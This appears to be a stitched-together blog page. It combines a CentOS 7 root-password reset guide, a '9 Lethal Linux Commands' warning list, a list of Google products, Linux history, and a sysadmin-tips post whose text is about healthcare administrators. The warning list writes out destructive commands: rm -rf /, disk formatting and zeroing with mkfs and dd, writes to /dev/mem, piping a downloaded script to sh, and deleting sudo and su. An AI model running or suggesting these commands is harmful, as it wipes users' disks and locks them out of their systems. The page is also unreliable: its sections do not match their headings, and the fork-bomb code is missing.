How to reset root password in Linux


If you forgot your root password, then it’s not a big deal. Below are the methods to reset root password in different linux distributions.

Step 1: Power on Redat/CentOS 7 Server

First power on your Redhat/CentOS 7 server. At the boot menu, select the Kernel you want to boot up and press e to edit the selected boot entry.


Find the line rhgb quiet :


and replace it with init=/bin/bash



Then press CTRL+X to enter into single user mode.

Step 2: Mount / partition

# mount -o remount,rw /

Step 3: Change root password

# passwd root

Step 4: Create File

# touch /.autorelabel

Step 5: Execute Command

# exec /sbin/init

9 Lethal Linux Commands

1) Delete Recursively

The Linux ability to delete anything you want without question is a godsend, especially after dealing with years of “That file can’t be deleted” errors in Windows. But Internet trolls will be quick to deceive you, presenting you with extremely dangerous removal commands that can wipe entire hard drives.

# rm -rf /

2) Format Hard Drive

The terminal is especially tricky for Linux newbies because it provides several ways to accidentally wipe one’s hard drive. Recursive deletion is a big one, but here’s another:

# mkfs.ext3 /dev/hda

3) Overwrite Hard Drive

As if accidental disk formatting wasn’t bad enough, it’s possible to overwrite your hard drive using raw data. At least disk formatting is an actual procedure with real-life uses; directly overwriting one’s drive, on the other hand, is not so great.

command > /dev/hda

In the command above, command can be replaced by any Bash command. The > operator redirects the output from the command on its left to the file on its right. In this case, it doesn’t matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive.

4) Wipe Hard Drive

Here’s another way to ruin your system. This time around, the command will completely zero out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. A hard drive doesn’t get any more wiped than that.

# dd if=/dev/zero of=/dev/hda

The dd command is a low-level instruction that’s mostly used to write data to physical drives. The if parameter determines the source of data, which in this case is /dev/zero, a special on Linux that produces an infinite stream of zeroes. The of parameter determines the destination of those zeroes, which is the /dev/hda drive.

5) Implode Hard Drive

If you’re tired of hearing ways to wreck your hard drive, hang on. Here’s one more for you. On Linux, there’s a special file called /dev/null that will discard whatever data is written to it. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good.

# mv / /dev/null

6) Cause Kernel Panic

Windows has its infamous Blue Screen of Death. And despite the myths that float around, Linux is not a perfectly secure system. Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a kernel panic.

# dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

7) Fork Bomb

Bash is the language of the Linux terminal and it’s powerful. Not only can it run commands but it can also run functions, which makes it easy to write scripts that can automate system tasks. Unfortunately, functions don’t come without their own set of risks.


This obscure command is called a fork bomb, which is a special type of kernel panic. It defines a
function named : that recursively calls itself twice when executed. One of the recursive calls happens in the foreground while the other happens in the background.

8) Execute Remote Script

Here’s an innocent command that can actually be useful in day-to-day life on a Linux system. wget retrieves the contents of a web URL, which can be used to access websites or download files. However, there’s a simple trick that turns it dangerous:

# wget http://an-untrusted-url -O- | sh

9) Disable Root Command Rights

This final command is straightforward. It utilizes the commonly used rm command to disable two of the most important commands on Linux: sudo and su. Long story short, these two allow you to run other commands with root permissions. Without them, life on Linux would be miserable.

# rm -f /usr/bin/sudo;rm -f /bin/su

Google Products

Here is a list of all Google products,  services, and tools that I’m using. To see a snapshot of the Google products you use go to Google Dashboard which lists some of the top Google products and services that you have signed up for and it also shows what Google knows about you.

  • Google Search is a web search engine, which is Google’s core product. It receives over 3 billion search queries per day. Google also offers regional search by its 189 regional level domains. (see List of Google domains#Localized & regional domains)
    • Hummingbird – Expanded query analysis. For example, if you search for ‘best pie place in Seattle’ Google will also search for ‘best pie restaurant in Seattle’.
    • PageRank – link analysis algorithm.
    • Snapshots – mechanism that indexes PDFs, Word documents, and more.
    • Search engine optimization – process of improving the volume or quality of traffic to a web site from search engines.
    • Google Search functionality – Google Search includes Boolean logical operators, wildcards, and more, to help users refine their searches.
    • Multiple languages – Google Search is supported by a large number of different languages.
    • Author Rank – The idea that an online author can have topical authority within Google Search Results.
    • Experimental Search – options for testing new interfaces while searching with Google, including Timeline views and keyboard shortcuts.
  • Encrypted Search – In May 2010 Google rolled out SSL-encrypted web search.[1] The encrypted search can be accessed at [2]
  • Google Alerts – email notification service, which sends alerts based on chosen search terms, whenever there are new results. Alerts include web results, Groups results news, and video.
  • Google Books (formerly Print) – search engine for the full text of printed books. Google scans and stores in its digital database. The content that is displayed depends on the arrangement with the publishers, ranging from short extracts to entire books.
  • Google Custom Search – allows a user to create a customized search experience for his/her own website. Renamed from Google Co-op, which in turn replaced Google Free Search.
  • Google Finance – searchable US business news, opinion, and financial data. Features include company-specific pages, blog search, interactive charts, executives information, discussion groups and a portfolio.
  • Google Groups – web and email discussion service and Usenet archive. Users can join a group, make a group, publish posts, track their favorite topics, write a set of group web pages up datable by members and share group files. In January, 2007, version 3 of Google Groups was released. New features include the ability to create customised pages and share files.
  • Google Hotel Finder – Provides searches similar to other Online Travel Agencies (Travel website) that searchers can search for check-in and check-out dates.[3]
  • Google Flight Search – a service that allows users to search for flights from many airlines to many destinations, offering tools such as price comparisons and travel recommendations.[4]
  • Google Image Search – image search engine, with results based on the filename of the image, the link text pointing to the image and text adjacent to the image. You can also make a search by uploading a picture from your computer.When searching, a thumbnail of each matching image is displayed.
  • Language Tools – Collection of linguistic applications, including one that allows users to translate text or web pages from one language to another, and another that allows searching in web pages located in a specific country or written in a specific language.
  • Life Search (Google China) – Search engine tailored towards everyday needs, such as train times, recipes and housing.
  • Movies – specialised search engine that obtains show times of films near a user-entered location and provides reviews of films compiled from several different websites.
  • Google News – automated news compilation service and search engine for news. There are versions of the aggregator for more than 20 languages. While the selection of news stories is fully automated, the sites included are selected by human editors.
  • Google News archive – feature within Google News, that allows users to browse articles from over 200 years ago.
  • Google Patent Search – search engine to search through millions of patents, each result with its own page, including drawings, claims and citations.
  • Google Recipe View – lets you narrow your search results to show only recipes, and helps you choose the right recipe amongst the search results by showing clearly marked ratings, ingredients and pictures. First mentioned on Google’s blog in February 2011.[5]
  • Google Scholar – search engine for the full text of scholarly literature across an array of publishing formats and scholarly fields. Today, the index includes virtually all peer-reviewed journals available online.
  • Google Shopping (was Google Product Search and Froogle): price engine that searches online stores, including auctions, for products. Beginning in Fall of 2012, it will become a fully commercial product, only indexing paid listings.[6]
  • Suggestauto-completion in search results while typing to give popular searches.
  • Google Video – video search engine and online store for clips internally submitted by companies and the general public. Google’s main video partnerships include agreements with CBS, NHL and the NBA. Also searches videos posted on YouTube, Metacafe, Daily Motion, and other popular video hosting sites. Google Video will no longer host video content after August 20, 2012[7]
  • Voice Local Search – non-premium phone service for searching and contacting local businesses
  • Web History (was Google Search History, Personalized Search) – web page tracking, which records Google searches, Web pages, images, videos, music and more. It also includes Bookmarks, search trends and item recommendations. Google released Search History in April 2005, when it began to record browsing history,[8] later expanding and renaming the service to Web History in April 2007.[9]
  • Knowledge Graph – a knowledge base used to enhance search results with semantic information gathered from several sources.
  • Zagat – a source of consumer survey-based information for restaurants and other leisure activities.



Linux World

The history of Linux began in 1991 with the commencement of a personal project by Finnish student Linus Torvalds to create a new free operating system kernel. Since then, the resulting Linux kernel has been marked by constant growth throughout its history. Since the initial release of its source code in 1991, it has grown from a small number of C files under a license prohibiting commercial distribution to the 3.18 version in 2015 with more than 18 million lines of source code under the GNU General Public License

In 1991, in Helsinki, Linus Torvalds began a project that later became the Linux kernel. He wrote the program specifically for the hardware he was using and independent of an operating system because he wanted to use the functions of his new PC with an 80386 processor. Development was done on MINIX using the GNU C compiler. The GNU C Compiler is still the main choice for compiling Linux today. The code however, can be built with other compilers, such as the Intel C Compiler.

As Torvalds wrote in his book Just for Fun,[10] he eventually ended up writing an operating system kernel. On 25 August 1991 (age 21), he announced this system in a Usenet posting to the newsgroup “comp.os.minix.”:

Hello everybody out there using minix -

I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu) for 386(486) AT clones. This has been brewing since april, and is starting to get ready. I’d like any feedback on things people like/dislike in minix, as my OS resembles it somewhat (same physical layout of the file-system (due to practical reasons) among other things).

I’ve currently ported bash(1.08) and gcc(1.40), and things seem to work. This implies that I’ll get something practical within a few months, and I’d like to know what features most people would want. Any suggestions are welcome, but I won’t promise I’ll implement them :-)

Linus (

PS. Yes – it’s free of any minix code, and it has a multi-threaded fs. It is NOT portable (uses 386 task switching etc), and it probably never will support anything other than AT-harddisks, as that’s all I have :-(.

—Linus Torvalds
Laptop Magnifying glass

5 Tips to become a system administrator

Healthcare administrators focus on the ins-and-outs that make a healthcare system or hospital function. Health administrators have a strong background in both management and healthcare, and, more often than not, hold at least a Master’s degree. For an individual who is organized, driven, and knowledgeable, healthcare administration is a dream job. Learn how to get started on the path toward becoming a healthcare administrator now.

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